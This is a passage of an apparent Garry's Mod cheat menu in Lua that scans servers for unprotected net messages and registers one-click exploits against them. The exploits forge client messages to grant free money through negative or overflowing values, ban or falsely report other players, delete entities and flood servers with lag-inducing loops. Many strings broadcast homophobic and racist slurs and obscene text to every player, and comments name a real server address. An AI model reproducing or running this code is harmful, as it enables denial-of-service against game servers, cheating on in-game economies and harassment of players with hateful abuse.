8024addExploit( "195","Free Money #24", "", function()
8025surface.PlaySound("garrysmod/ui_click.wav")
8026ECNotify("Starting")
8027net.Start("sellitem")
8028net.WriteString(self)
8029net.WriteEntity(LocalPlayer())
8030net.SendToServer()
8031end )
8032end
8033
8034status = ValidNetString("createFaction")
8035if (status) then
8036ECPrint("Found Exploit: Create Faction [createFaction]")
8037addExploit( "196","Create Faction", "", function()
8038surface.PlaySound("garrysmod/ui_click.wav")
8039ECNotify("Starting")
8040for k,v in pairs(player.GetAll()) do
8041net.Start("createFaction")
8042net.WriteEntity(v)
8043net.WriteString("I FUCKED SO MANY BABIES TODAY WOOOOOOOOOOOOOOOOOOOOOOOO")
8044net.SendToServer()
8045end
8046end )
8047end
8048
8049status = ValidNetString("inviteToOrganization")
8050if (status) then
8051ECPrint("Found Exploit: Faction Invite All [inviteToOrganization]")
8052addExploit( "197","Faction Invite All", "", function()
8053surface.PlaySound("garrysmod/ui_click.wav")
8054ECNotify("Starting")
8055for k,v in pairs(player.GetAll()) do
8056net.Start("inviteToOrganization")
8057net.WriteEntity(v)
8058net.WriteEntity(LocalPlayer())
8059net.SendToServer()
8060end
8061end )
8062end
8063
8064status = ValidNetString("GovStation_SpawnVehicle")
8065if (status) then
8066ECPrint("Found Exploit: Gov Spawn [GovStation_SpawnVehicle]")
8067addExploit( "198","Gov Spawn", "", function()
8068surface.PlaySound("garrysmod/ui_click.wav")
8069ECNotify("Starting")
8070for k,v in pairs(ents.GetAll()) do
8071net.Start("GovStation_SpawnVehicle")
8072net.WriteString("GOV_POLICE")
8073net.SendToServer()
8074end
8075end )
8076end
8077
8078status = ValidNetString("GiveWeapon")
8079if (status) then
8080ECPrint("Found Exploit: Give Weapons #3 [GiveWeapon]")
8081addExploit( "199","Give Weapons #3", "get weapons", function()
8082surface.PlaySound("garrysmod/ui_click.wav")
8083ECNotify("Starting")
8084net.Start("GiveWeapon")
8085net.WriteEntity(LocalPlayer())
8086net.WriteString("m9k_davy_crockett")
8087net.WriteFloat(0)
8088net.SendToServer()
8089end )
8090end
8091
8092status = ValidNetString("DailyLoginClaim")
8093if (status) then
8094ECPrint("Found Exploit: Daily Login Reward [DailyLoginClaim]")
8095addExploit( "200","Daily Login Reward", "", function()
8096surface.PlaySound("garrysmod/ui_click.wav")
8097ECNotify("Starting")
8098net.Start("DailyLoginClaim")
8099net.SendToServer()
8100end )
8101end
8102
8103status = ValidNetString("DL_AskLogsList")
8104if (status) then
8105ECPrint("Found Exploit: Ask Log List [DL_AskLogsList]")
8106addExploit( "201","Ask Log List", "", function()
8107surface.PlaySound("garrysmod/ui_click.wav")
8108ECNotify("Starting")
8109net.Start("DL_AskLogsList")
8110net.SendToServer()
8111end )
8112end
8113
8114status = ValidNetString("DL_StartReport")
8115if (status) then
8116ECPrint("Found Exploit: DL Report All [DL_StartReport | DL_ReportPlayer]")
8117addExploit( "202","DL Report All", "", function()
8118surface.PlaySound("garrysmod/ui_click.wav")
8119ECNotify("Starting")
8120for k,v in pairs(player.GetAll()) do
8121net.Start("DL_StartReport")
8122net.SendToServer()
8123net.Start("DL_ReportPlayer")
8124net.WriteEntity(v)
8125net.WriteString("Hes being a gay faggot plz ban him")
8126net.SendToServer()
8127end
8128end )
8129end
8130
8131status = ValidNetString("sv_saveweapons")
8132if (status) then
8133ECPrint("Found Exploit: TTT Weapons Exploit [sv_saveweapons]")
8134addExploit( "203","DL Report All", "", function()
8135surface.PlaySound("garrysmod/ui_click.wav")
8136ECNotify("Starting")
8137net.Start("sv_saveweapons")
8138net.WriteString("weapon_ttt_rpg")
8139net.WriteString("weapon_ttt_rpg")
8140net.WriteString("eg")
8141net.SendToServer()
8142end )
8143end
8144
8145status = ValidNetString("SpecDM_SendLoadout")
8146if (status) then
8147ECPrint("Found Exploit: SpecDM Exploit [SpecDM_SendLoadout]")
8148addExploit( "204","SpecDM Exploit", "", function()
8149surface.PlaySound("garrysmod/ui_click.wav")
8150ECNotify("Starting")
8151net.Start("SpecDM_SendLoadout")
8152net.WriteString("eg")
8153net.WriteString("weapon_ttt_defib")
8154net.SendToServer()
8155end )
8156end
8157
8158status = ValidNetString("PowerRoundsForcePR")
8159if (status) then
8160ECPrint("Found Exploit: Power Rounds Force [PowerRoundsForcePR]")
8161addExploit( "205","Power Rounds Force", "", function()
8162surface.PlaySound("garrysmod/ui_click.wav")
8163ECNotify("Starting")
8164net.Start("PowerRoundsForcePR")
8165net.SendToServer()
8166end )
8167end
8168
8169status = ValidNetString("wyozimc_playply")
8170if (status) then
8171ECPrint("Found Exploit: Wyozimc Music Exploit [wyozimc_playply]")
8172addExploit( "206","Wyozimc Music Exploit", "", function()
8173surface.PlaySound("garrysmod/ui_click.wav")
8174ECNotify("Starting")
8175for k,v in pairs(player.GetAll()) do
8176net.Start("wyozimc_playply")
8177net.WriteEntity(v)
8178net.WriteString("https://www.youtube.com/watch?v=2fSeiKs6MYY")
8179net.SendToServer()
8180end
8181end )
8182end
8183
8184status = ValidNetString("SendSteamID")
8185if (status) then
8186ECPrint("Found Exploit: Send Mail's [SendSteamID]")
8187addExploit( "207","Send Mail's", "", function()
8188surface.PlaySound("garrysmod/ui_click.wav")
8189ECNotify("Starting")
8190for k,v in pairs(player.GetAll()) do
8191net.Start("SendSteamID")
8192net.WriteEntity(v)
8193net.WriteString("Faggot")
8194net.WriteString("Faggot")
8195net.SendToServer()
8196end
8197end )
8198end
8199
8200status = ValidNetString("JB_GiveCubics")
8201if (status) then
8202ECPrint("Found Exploit: Give Cubics All [JB_GiveCubics]")
8203addExploit( "208","Give Cubics All", "", function()
8204surface.PlaySound("garrysmod/ui_click.wav")
8205ECNotify("Starting")
8206for k,v in pairs(player.GetAll()) do
8207net.Start("JB_GiveCubics")
8208net.WriteEntity(v)
8209net.WriteInt(math.floor(dwang:GetValue()), 255)
8210net.SendToServer()
8211end
8212end )
8213end
8214
8215status = ValidNetString("JB_SelectWarden")
8216if (status) then
8217ECPrint("Found Exploit: Select Warden All [JB_SelectWarden]")
8218addExploit( "209","Select Warden All", "", function()
8219surface.PlaySound("garrysmod/ui_click.wav")
8220ECNotify("Starting")
8221for k,v in pairs(player.GetAll()) do
8222net.Start("JB_SelectWarden")
8223net.WriteEntity(v)
8224net.SendToServer()
8225end
8226end )
8227end
8228
8229status = ValidNetString("RDMReason_Explain")
8230if (status) then
8231ECPrint("Found Exploit: RDM Explain [RDMReason_Explain]")
8232addExploit( "210","RDM Explain", "", function()
8233surface.PlaySound("garrysmod/ui_click.wav")
8234ECNotify("Starting")
8235for k,v in pairs(player.GetAll()) do
8236net.Start("RDMReason_Explain")
8237net.WriteTable({id=v, reason=fgt})
8238net.SendToServer()
8239end
8240end )
8241end
8242
8243status = ValidNetString("redirectMsg")
8244if (status) then
8245ECPrint("Found Exploit: Redirect Message [redirectMsg]")
8246addExploit( "211","Redirect Message", "", function()
8247surface.PlaySound("garrysmod/ui_click.wav")
8248ECNotify("Starting")
8249net.Start("redirectMsg")
8250net.WriteString("Fuck you! YOUR ALL FAGGOTS!")
8251net.SendToServer()
8252end )
8253end
8254
8255status = ValidNetString("LB_AddBan")
8256if (status) then
8257ECPrint("Found Exploit: LB Ban [LB_AddBan]")
8258addExploit( "212","LB Ban", "", function()
8259surface.PlaySound("garrysmod/ui_click.wav")
8260ECNotify("Starting")
8261for k,v in pairs(player.GetAll()) do
8262if v != LocalPlayer() then
8263net.Start("LB_AddBan")
8264net.WriteString("STEAM_0:0:71238382")
8265net.WriteString("fgt")
8266net.SendToServer()
8267end
8268end
8269end )
8270end
8271
8272status = ValidNetString("GET_Admin_MSGS")
8273if (status) then
8274ECPrint("Found Exploit: Brass Admin Chat [GET_Admin_MSGS | OPEN_ADMIN_CHAT]")
8275addExploit( "213","Brass Admin Chat", "", function()
8276surface.PlaySound("garrysmod/ui_click.wav")
8277ECNotify("Starting")
8278net.Start("GET_Admin_MSGS")
8279net.SendToServer()
8280net.Start("OPEN_ADMIN_CHAT")
8281net.SendToServer()
8282end )
8283end
8284
8285status = ValidNetString("br_send_pm")
8286if (status) then
8287ECPrint("Found Exploit: Brass Email Send All [br_send_pm]")
8288addExploit( "214","Brass Email Send All", "", function()
8289surface.PlaySound("garrysmod/ui_click.wav")
8290ECNotify("Starting")
8291for k,v in pairs(player.GetAll()) do
8292if v != LocalPlayer() then
8293net.Start("br_send_pm")
8294net.WriteString(v)
8295net.WriteString("FGT")
8296net.WriteEntity(v)
8297net.SendToServer()
8298end
8299end
8300end )
8301end
8302
8303status = ValidNetString("LAWYER.BailFelonOut")
8304if (status) then
8305ECPrint("Found Exploit: Bail Felon Out [LAWYER.BailFelonOut]")
8306addExploit( "215","Bail Felon Out", "", function()
8307surface.PlaySound("garrysmod/ui_click.wav")
8308ECNotify("Starting")
8309net.Start("LAWYER.BailFelonOut")
8310net.WriteString("1")
8311net.WriteString("fgt")
8312net.SendToServer()
8313end )
8314end
8315
8316status = ValidNetString("LAWYER.GetBailOut")
8317if (status) then
8318ECPrint("Found Exploit: Get Bail Out [LAWYER.GetBailOut]")
8319addExploit( "216","Get Bail Out", "", function()
8320surface.PlaySound("garrysmod/ui_click.wav")
8321ECNotify("Starting")
8322net.Start("LAWYER.GetBailOut")
8323net.WriteString("Mick")
8324net.WriteString("Mick")
8325net.WriteString("1000000")
8326net.SendToServer()
8327end )
8328end
8329
8330status = ValidNetString("GrabMoney")
8331if (status) then
8332ECPrint("Found Exploit: Get Bail Out [GrabMoney]")
8333addExploit( "217","Get Bail Out", "", function()
8334surface.PlaySound("garrysmod/ui_click.wav")
8335ECNotify("Starting")
8336for k,v in pairs(ents.GetAll()) do
8337if v:GetClass() == "gold" then
8338if v:GetClass() == "silver" then
8339if v:GetClass() == "vip" then
8340if v:GetClass() == "vipgold" then
8341net.Start("GrabMoney")
8342net.WriteEntity(LocalPlayer())
8343net.SendToServer()
8344end
8345end
8346end
8347end
8348end
8349end )
8350end
8351
8352status = ValidNetString("nox_addpremadepunishment")
8353if (status) then
8354ECPrint("Found Exploit: Nox Ban [nox_addpremadepunishment]")
8355addExploit( "218","Nox Ban", "", function()
8356surface.PlaySound("garrysmod/ui_click.wav")
8357ECNotify("Starting")
8358for k,v in pairs(player.GetAll()) do
8359if v != LocalPlayer() then
8360net.Start("nox_addpremadepunishment")
8361net.WriteEntity("Sun")
8362net.WriteUInt(2, 8)
8363net.SendToServer()
8364end
8365end
8366end )
8367end
8368
8369status = ValidNetString("NET_CR_TakeStoredMoney")
8370if (status) then
8371ECPrint("Found Exploit: Steal Registry Money [NET_CR_TakeStoredMoney]")
8372addExploit( "219","Steal Registry Money", "", function()
8373surface.PlaySound("garrysmod/ui_click.wav")
8374ECNotify("Starting")
8375for k,v in pairs(ents.GetAll()) do
8376if v:GetClass() == "ss_cash_registry" then
8377net.Start('NET_CR_TakeStoredMoney')
8378net.WriteEntity("ss_cash_registry")
8379net.WriteEntity(LocalPlayer())
8380net.SendToServer()
8381end
8382end
8383end )
8384end
8385
8386status = ValidNetString("HV_AmmoBuy")
8387if (status) then
8388ECPrint("Found Exploit: HV Free Ammo [HV_AmmoBuy]")
8389addExploit( "220","HV Free Ammo", "", function()
8390surface.PlaySound("garrysmod/ui_click.wav")
8391ECNotify("Starting")
8392net.Start("HV_AmmoBuy")
8393net.WriteFloat("2")
8394net.SendToServer()
8395net.Start("HV_AmmoBuy")
8396net.WriteFloat("1")
8397net.SendToServer()
8398end )
8399end
8400
8401status = ValidNetString("hitcomplete")
8402if (status) then
8403ECPrint("Found Exploit: Super RP Hit [hitcomplete]")
8404addExploit( "221","Super RP Hit", "", function()
8405surface.PlaySound("garrysmod/ui_click.wav")
8406ECNotify("Starting")
8407for k,v in pairs(player.GetAll()) do
8408if v != LocalPlayer() then
8409net.Start("hitcomplete")
8410net.WriteEntity(v)
8411net.SendToServer()
8412end
8413end
8414end )
8415end
8416
8417status = ValidNetString("SyncRemoveAction")
8418if (status) then
8419ECPrint("Found Exploit: Remove All [SyncRemoveAction]")
8420addExploit( "222","Remove All", "", function()
8421surface.PlaySound("garrysmod/ui_click.wav")
8422ECNotify("Starting")
8423for k,v in pairs(ents.GetAll()) do
8424net.Start("SyncRemoveAction")
8425net.WriteEntity(v)
8426net.SendToServer()
8427end
8428end )
8429end
8430
8431status = ValidNetString("TMC_NET_MakePlayerWanted")
8432if (status) then
8433ECPrint("Found Exploit: Make All Wanted [TMC_NET_MakePlayerWanted]")
8434addExploit( "223","Make All Wanted", "", function()
8435surface.PlaySound("garrysmod/ui_click.wav")
8436ECNotify("Starting")
8437for k,v in pairs(player.GetAll()) do
8438net.Start("TMC_NET_MakePlayerWanted")
8439net.WriteString("bad")
8440net.WriteString("bad")
8441net.SendToServer()
8442end
8443end )
8444end
8445
8446status = ValidNetString("thiefnpc")
8447if (status) then
8448ECPrint("Found Exploit: Thief NPC [thiefnpc]")
8449addExploit( "224","Thief NPC", "", function()
8450surface.PlaySound("garrysmod/ui_click.wav")
8451ECNotify("Starting")
8452net.Start('thiefnpc')
8453net.WriteDouble(-99999999999999999)
8454net.SendToServer()
8455end )
8456end
8457
8458status = ValidNetString("TMC_NET_FirePlayer")
8459if (status) then
8460ECPrint("Found Exploit: Fire Player [TMC_NET_FirePlayer]")
8461addExploit( "225","Fire Player", "", function()
8462surface.PlaySound("garrysmod/ui_click.wav")
8463ECNotify("Starting")
8464net.Start("TMC_NET_FirePlayer")
8465net.WriteString("Paypal")
8466net.SendToServer()
8467end )
8468end
8469
8470status = ValidNetString("updateLaws")
8471if (status) then
8472ECPrint("Found Exploit: Update Laws [updateLaws]")
8473addExploit( "226","Update Laws", "", function()
8474surface.PlaySound("garrysmod/ui_click.wav")
8475ECNotify("Starting")
8476net.Start("updateLaws")
8477net.WriteString("Bitch")
8478net.SendToServer()
8479end )
8480end
8481
8482status = ValidNetString("LotteryMenu")
8483if (status) then
8484ECPrint("Found Exploit: Free Money #25 [LotteryMenu]")
8485addExploit( "227","Free Money #25", "", function()
8486surface.PlaySound("garrysmod/ui_click.wav")
8487ECNotify("Starting")
8488net.Start("LotteryMenu")
8489net.WriteEntity(LocalPlayer())
8490net.WriteInt(1000000000000000000, 16)
8491net.SendToServer()
8492end )
8493end
8494
8495status = ValidNetString("soundArrestCommit")
8496if (status) then
8497ECPrint("Found Exploit: Sound Arrest [soundArrestCommit]")
8498addExploit( "228","Sound Arrest", "", function()
8499surface.PlaySound("garrysmod/ui_click.wav")
8500ECNotify("Starting")
8501net.Start("soundArrestCommit")
8502net.WriteString("Shit")
8503net.SendToServer()
8504end )
8505end
8506
8507status = ValidNetString("hoverboardpurchase")
8508if (status) then
8509ECPrint("Found Exploit: Hover Board [hoverboardpurchase]")
8510addExploit( "229","Hover Board", "", function()
8511surface.PlaySound("garrysmod/ui_click.wav")
8512ECNotify("Starting")
8513net.Start("hoverboardpurchase")
8514net.WriteInt(8, 32)
8515net.SendToServer()
8516end )
8517end
8518
8519status = ValidNetString("SpawnProtection")
8520if (status) then
8521ECPrint("Found Exploit: Off Spawn Protection [SpawnProtection]")
8522addExploit( "230","Off Spawn Protection", "", function()
8523surface.PlaySound("garrysmod/ui_click.wav")
8524ECNotify("Starting")
8525net.Start("SpawnProtection")
8526net.WriteFloat(0)
8527net.SendToServer()
8528end )
8529end
8530
8531status = ValidNetString("NPCShop_BuyItem")
8532if (status) then
8533ECPrint("Found Exploit: NPC Shop [NPCShop_BuyItem]")
8534addExploit( "231","NPC Shop", "", function()
8535surface.PlaySound("garrysmod/ui_click.wav")
8536ECNotify("Starting")
8537net.Start("NPCShop_BuyItem")
8538net.WriteString("weapon_hack_phone")
8539net.SendToServer()
8540end )
8541end
8542
8543status = ValidNetString("CubeRiot CaptureZone Update")
8544if (status) then
8545ECPrint("Found Exploit: CubeRiot Exploit [CubeRiot CaptureZone Update]")
8546addExploit( "232","CubeRiot Exploit", "", function()
8547surface.PlaySound("garrysmod/ui_click.wav")
8548ECNotify("Starting")
8549net.Start("CubeRiot CaptureZone Update")
8550net.WriteUInt( 1, 8 )
8551net.WriteVector( "2654.989258 2254.119629 -139.968750" )
8552net.WriteVector( "2654.989258 2254.119629 -139.968750" )
8553net.SendToServer()
8554end )
8555end
8556
8557status = ValidNetString("deposit")
8558if (status) then
8559ECPrint("Found Exploit: Free Money #26 [deposit]")
8560addExploit( "233","Free Money #26", "", function()
8561surface.PlaySound("garrysmod/ui_click.wav")
8562ECNotify("Starting")
8563net.Start("deposit")
8564net.WriteString("-10000000000000000000000")
8565net.SendToServer()
8566end )
8567end
8568
8569status = ValidNetString("AcceptRequest")
8570if (status) then
8571ECPrint("Found Exploit: Call Exploit [AcceptRequest]")
8572addExploit( "234","Call Exploit", "", function()
8573surface.PlaySound("garrysmod/ui_click.wav")
8574ECNotify("Starting")
8575for k,v in pairs(player.GetAll()) do
8576net.Start("AcceptRequest")
8577net.WriteEntity(v)
8578net.SendToServer()
8579end
8580end )
8581end
8582
8583status = ValidNetString("Chess ClientWager")
8584if (status) then
8585ECPrint("Found Exploit: Chess Exploit [Chess ClientWager | Chess ClientResign]")
8586addExploit( "235","Chess Exploit", "", function()
8587surface.PlaySound("garrysmod/ui_click.wav")
8588ECNotify("Starting")
8589net.Start("Chess ClientWager")
8590net.WriteUInt( -999999999999999999999999999, 24 )
8591net.SendToServer()
8592net.Start("Chess ClientResign")
8593net.SendToServer()
8594end )
8595end
8596
8597status = ValidNetString("netOrgVoteInvite_Server")
8598if (status) then
8599ECPrint("Found Exploit: Org Invite All [netOrgVoteInvite_Server]")
8600addExploit( "236","Org Invite All", "", function()
8601surface.PlaySound("garrysmod/ui_click.wav")
8602ECNotify("Starting")
8603for k,v in pairs(player.GetAll()) do
8604net.Start("netOrgVoteInvite_Server")
8605net.WriteEntity(v)
8606net.SendToServer()
8607end
8608end )
8609end
8610
8611
8612status = ValidNetString("donatorshop_itemtobuy")
8613if (status) then
8614ECPrint("Found Exploit: Donator Box Exploit [donatorshop_itemtobuy]")
8615addExploit( "237","Donator Box Exploit", "", function()
8616surface.PlaySound("garrysmod/ui_click.wav")
8617ECNotify("Starting")
8618net.Start("donatorshop_itemtobuy")
8619net.WriteString("DonatorShopBuyTripwire")
8620net.SendToServer()
8621end )
8622end
8623
8624status = ValidNetString("AskPickupItemInv")
8625if (status) then
8626ECPrint("Found Exploit: Ask Item [AskPickupItemInv]")
8627addExploit( "238","Ask Item", "", function()
8628surface.PlaySound("garrysmod/ui_click.wav")
8629ECNotify("Starting")
8630for k,v in pairs(player.GetAll()) do
8631net.Start("AskPickupItemInv")
8632net.WriteUInt(4,16)
8633net.WriteUInt(1,16)
8634net.SendToServer()
8635end
8636end )
8637end
8638
8639status = ValidNetString("buy_bundle")
8640if (status) then
8641ECPrint("Found Exploit: Buy Bundle [buy_bundle]")
8642addExploit( "239","Buy Bundle", "", function()
8643surface.PlaySound("garrysmod/ui_click.wav")
8644ECNotify("Starting")
8645net.Start("buy_bundle")
8646net.WriteFloat(1, 16)
8647net.SendToServer()
8648end )
8649end
8650
8651status = ValidNetString("LawyerOfferBail")
8652if (status) then
8653ECPrint("Found Exploit: Lawyer Off Bail [LawyerOfferBail | AcceptBailOffer]")
8654addExploit( "240","Lawyer Off Bail", "", function()
8655surface.PlaySound("garrysmod/ui_click.wav")
8656ECNotify("Starting")
8657for k,v in pairs(player.GetAll()) do
8658net.Start("LawyerOfferBail")
8659net.WriteEntity(v)
8660net.WriteUInt(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
8661net.SendToServer()
8662net.Start("AcceptBailOffer")
8663net.WriteEntity(v)
8664net.WriteUInt(-10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
8665net.SendToServer()
8666end
8667end )
8668end
8669
8670status = ValidNetString("MineServer")
8671if (status) then
8672ECPrint("Found Exploit: Lagger #22 [MineServer]")
8673addExploit( "241","Lagger #22", "lags", function()
8674surface.PlaySound("garrysmod/ui_click.wav")
8675ECNotify("Starting")
8676for i = 0, 100 do
8677for k,v in pairs(player.GetAll()) do
8678net.Start("MineServer",true)
8679net.WriteString("sell")
8680net.WriteEntity(v)
8681net.WriteString("Fuck you. Gonna ddos this shitty ass server niggers")
8682net.SendToServer()
8683end
8684end
8685end )
8686end
8687
8688status = ValidNetString("Gb_gasstation_BuyGas")
8689if (status) then
8690ECPrint("Found Exploit: Ukrainian gas [Gb_gasstation_BuyGas | Gb_gasstation_BuyJerrycan]")
8691addExploit( "242","Ukrainian gas", "", function()
8692surface.PlaySound("garrysmod/ui_click.wav")
8693ECNotify("Starting")
8694net.Start("Gb_gasstation_BuyGas")
8695net.SendToServer()
8696net.Start("Gb_gasstation_BuyJerrycan")
8697net.SendToServer()
8698end )
8699end
8700
8701status = ValidNetString("D3A_CreateOrg")
8702if (status) then
8703ECPrint("Found Exploit: D3A Create Org [D3A_CreateOrg]")
8704addExploit( "243","D3A Create Org", "", function()
8705surface.PlaySound("garrysmod/ui_click.wav")
8706ECNotify("Starting")
8707net.Start("D3A_CreateOrg")
8708net.WriteString('969690485273489312467812367128312312314')
8709net.WriteString('123712983712984571298712398')
8710net.WriteString("255 255 255")
8711net.SendToServer()
8712end )
8713end
8714
8715status = ValidNetString("Shop_buy")
8716if (status) then
8717ECPrint("Found Exploit: SUP Buy Armor [Shop_buy]")
8718addExploit( "244","SUP Buy Armor", "", function()
8719surface.PlaySound("garrysmod/ui_click.wav")
8720ECNotify("Starting")
8721net.Start("Shop_buy")
8722net.WriteString("Armor")
8723net.SendToServer()
8724end )
8725end
8726
8727status = ValidNetString("LawsToServer")
8728if (status) then
8729ECPrint("Found Exploit: SUP New Laws [LawsToServer]")
8730addExploit( "245","SUP New Laws", "", function()
8731surface.PlaySound("garrysmod/ui_click.wav")
8732ECNotify("Starting")
8733net.Start("LawsToServer")
8734net.WriteString("FAGGOTS")
8735net.SendToServer()
8736end )
8737end
8738
8739status = ValidNetString("D3A_Message")
8740if (status) then
8741ECPrint("Found Exploit: D3A Message [D3A_Message]")
8742addExploit( "246","D3A Message", "", function()
8743surface.PlaySound("garrysmod/ui_click.wav")
8744ECNotify("Starting")
8745local stuff = {
8746
8747}
8748net.Start("D3A_Message")
8749net.WriteString("FAGGOTS")
8750net.WriteTable(stuff)
8751net.SendToServer()
8752end )
8753end
8754
8755status = ValidNetString("misswd_accept")
8756if (status) then
8757ECPrint("Found Exploit: Misswd Accept [misswd_accept]")
8758addExploit( "247","Misswd Accept", "", function()
8759surface.PlaySound("garrysmod/ui_click.wav")
8760ECNotify("Starting")
8761for k,v in pairs(player.GetAll()) do
8762for i = 0, 100 do
8763net.Start("misswd_accept")
8764net.WriteEntity(v)
8765net.SendToServer()
8766end
8767end
8768end )
8769end
8770
8771status = ValidNetString("ScannerMenu")
8772if (status) then
8773ECPrint("Found Exploit: Scanner Exploit [ScannerMenu]")
8774addExploit( "248","Scanner Exploit", "", function()
8775surface.PlaySound("garrysmod/ui_click.wav")
8776ECNotify("Starting")
8777for k,v in pairs(player.GetAll()) do
8778net.Start("ScannerMenu")
8779net.WriteEntity(v)
8780net.WriteFloat(1)
8781net.WriteFloat(1)
8782net.SendToServer()
8783end
8784end )
8785end
8786
8787status = ValidNetString("ORG_NewOrg")
8788if (status) then
8789ECPrint("Found Exploit: New ORG [ORG_NewOrg]")
8790addExploit( "249","New ORG", "", function()
8791surface.PlaySound("garrysmod/ui_click.wav")
8792ECNotify("Starting")
8793net.Start("ORG_NewOrg")
8794net.WriteString("I FUCKING HATE YOU!")
8795net.SendToServer()
8796end )
8797end
8798
8799status = ValidNetString("ORG_VaultDonate")
8800if (status) then
8801ECPrint("Found Exploit: Free Money #27 [ORG_VaultDonate]")
8802addExploit( "250","Free Money #27", "", function()
8803surface.PlaySound("garrysmod/ui_click.wav")
8804ECNotify("Starting")
8805net.Start("ORG_VaultDonate")
8806net.WriteFloat(-1000000000000000000000000000000000000000000000000000000)
8807net.SendToServer()
8808end )
8809end
8810
8811status = ValidNetString("Selldatride")
8812if (status) then
8813ECPrint("Found Exploit: Sell Datride [Selldatride]")
8814addExploit( "251","Sell Datride", "", function()
8815surface.PlaySound("garrysmod/ui_click.wav")
8816ECNotify("Starting")
8817for k,v in pairs(player.GetAll()) do
8818net.Start("Selldatride")
8819net.WriteEntity(v)
8820net.SendToServer()
8821end
8822end )
8823end
8824
8825status = ValidNetString("passmayorexam")
8826if (status) then
8827ECPrint("Found Exploit: Passexam Exploit [passmayorexam]")
8828addExploit( "252","Passexam Exploit", "", function()
8829surface.PlaySound("garrysmod/ui_click.wav")
8830ECNotify("Starting")
8831net.Start("passmayorexam")
8832net.SendToServer()
8833end )
8834end
8835
8836status = ValidNetString("levelup_useperk")
8837if (status) then
8838ECPrint("Found Exploit: LevelUp Exploit [levelup_useperk]")
8839addExploit( "253","LevelUp Exploit", "", function()
8840surface.PlaySound("garrysmod/ui_click.wav")
8841ECNotify("Starting")
8842net.Start("levelup_useperk")
8843net.WriteInt(1, 8)
8844net.WriteInt(2, 8)
8845net.WriteInt(3, 8)
8846net.WriteInt(4, 8)
8847net.SendToServer()
8848end )
8849end
8850
8851status = ValidNetString("ZED_SpawnCar")
8852if (status) then
8853ECPrint("Found Exploit: ZED Spawn Car [ZED_SpawnCar]")
8854addExploit( "254","ZED Spawn Car", "", function()
8855surface.PlaySound("garrysmod/ui_click.wav")
8856ECNotify("Starting")
8857net.Start("ZED_SpawnCar")
8858net.WriteFloat(1)
8859net.SendToServer()
8860end )
8861end
8862
8863status = ValidNetString("DeployMask") -- 37.230.228.248:27016
8864if (status) then
8865ECPrint("Found Exploit: To wear a gas mask at all players [DeployMask]")
8866addExploit( "255","To wear a gas mask", "Exploit puts gas masks on all players, discovered by Leith", function()
8867surface.PlaySound("garrysmod/ui_click.wav")
8868ECNotify("Starting")
8869for k,v in pairs(ents.GetAll()) do
8870net.Start("DeployMask")
8871net.WriteEntity(v)
8872net.SendToServer()
8873end
8874end )
8875end
8876
8877status = ValidNetString("RemoveMask") -- 37.230.228.248:27016
8878if (status) then
8879ECPrint("Found Exploit: Remove the gas mask from all players [RemoveMask]")
8880addExploit( "256","Remove the gas mask", "The exploit takes off gas masks from all players, discovered by Leith", function()
8881surface.PlaySound("garrysmod/ui_click.wav")
8882ECNotify("Starting")
8883for k,v in pairs(ents.GetAll()) do
8884net.Start("RemoveMask")
8885net.WriteEntity(v)
8886net.SendToServer()
8887end
8888end )
8889end
8890
8891status = ValidNetString("SwapFilter") -- 37.230.228.248:27016
8892if (status) then
8893ECPrint("Found Exploit: Change all filters of a gas mask [SwapFilter]")
8894addExploit( "257","Change all filters", "Exploit changes the filter for all gas masks, discovered by Leith", function()
8895surface.PlaySound("garrysmod/ui_click.wav")
8896ECNotify("Starting")
8897for k,v in pairs(ents.GetAll()) do
8898net.Start("SwapFilter")
8899net.WriteEntity(v)
8900net.SendToServer()
8901end
8902end )
8903end
8904
8905status = ValidNetString("WipeMask") -- 37.230.228.248:27016
8906if (status) then
8907ECPrint("Found Exploit: Wipe gas masks [WipeMask]")
8908addExploit( "258","Wipe gas masks", "Exploit wipes all gas masks, discovered by Leith", function()
8909surface.PlaySound("garrysmod/ui_click.wav")
8910ECNotify("Starting")
8911for k,v in pairs(ents.GetAll()) do
8912net.Start("WipeMask")
8913net.WriteEntity(v)
8914net.SendToServer()
8915end
8916end )
8917end
8918
8919status = ValidNetString("UseMedkit") -- 37.230.228.248:27016
8920if (status) then
8921ECPrint("Found Exploit: Use Medkit [UseMedkit]")
8922addExploit( "259","Use Medkit", "Exploit uses a first aid kit on all players, discovered by Leith", function()
8923surface.PlaySound("garrysmod/ui_click.wav")
8924ECNotify("Starting")
8925for k,v in pairs(ents.GetAll()) do
8926net.Start("UseMedkit")
8927net.WriteEntity(v)
8928net.SendToServer()
8929end
8930end )
8931end
8932
8933status = ValidNetString("IDInv_RequestBank")
8934if (status) then
8935ECPrint("Found Exploit: Lagger #23 [IDInv_RequestBank]")
8936addExploit( "260","Lagger #23", "an exploit in the addon 'IDinventory', discovered by Leith", function()
8937surface.PlaySound("garrysmod/ui_click.wav")
8938ECNotify("Starting")
8939if !timer.Exists("lagger23") then
8940timer.Create("lagger23", 0, 0, function()
8941for i = 1, 1000 do
8942net.Start("IDInv_RequestBank",true)
8943net.SendToServer()
8944end
8945end )
8946end
8947end )
8948end
8949
8950status = ValidNetString("casinokit_chipexchange")
8951if (status) then
8952ECPrint("Found Exploit: Lagger #24 [casinokit_chipexchange]")
8953addExploit( "261","Lagger #24", "an exploit in the addon 'CasinoKit', discovered by Leith", function()
8954surface.PlaySound("garrysmod/ui_click.wav")
8955ECNotify("Starting")
8956if !timer.Exists("lagger24") then
8957timer.Create("lagger24", 0, 0, function()
8958for i = 1, 1000 do
8959net.Start("casinokit_chipexchange",true)
8960net.WriteEntity(LocalPlayer())
8961net.WriteString("darkrp")
8962net.WriteBool(false)
8963net.WriteUInt(9999999999999999999999999999999999999999999999999999999999,32)
8964net.SendToServer()
8965end
8966end )
8967end
8968end )
8969end
8970
8971status = ValidNetString("RemoveTag")
8972if (status) then
8973ECPrint("Found Exploit: 1tap server [RemoveTag]")
8974addExploit( "262","1tap server", "discovered by Leith", function()
8975surface.PlaySound("garrysmod/ui_click.wav")
8976ECNotify("Starting")
8977timer.Create("1tap", 0.5, 0, function()
8978for i=1, 4000 do
8979net.Start("RemoveTag")
8980net.WriteFloat(9999999999999999999999999999999999999999999999999999999999)
8981net.SendToServer()
8982end
8983end )
8984end )
8985end
8986
8987status = ValidNetString("desktopPrinter_Withdraw")
8988if (status) then
8989ECPrint("Found Exploit: Lagger #25 [desktopPrinter_Withdraw]")
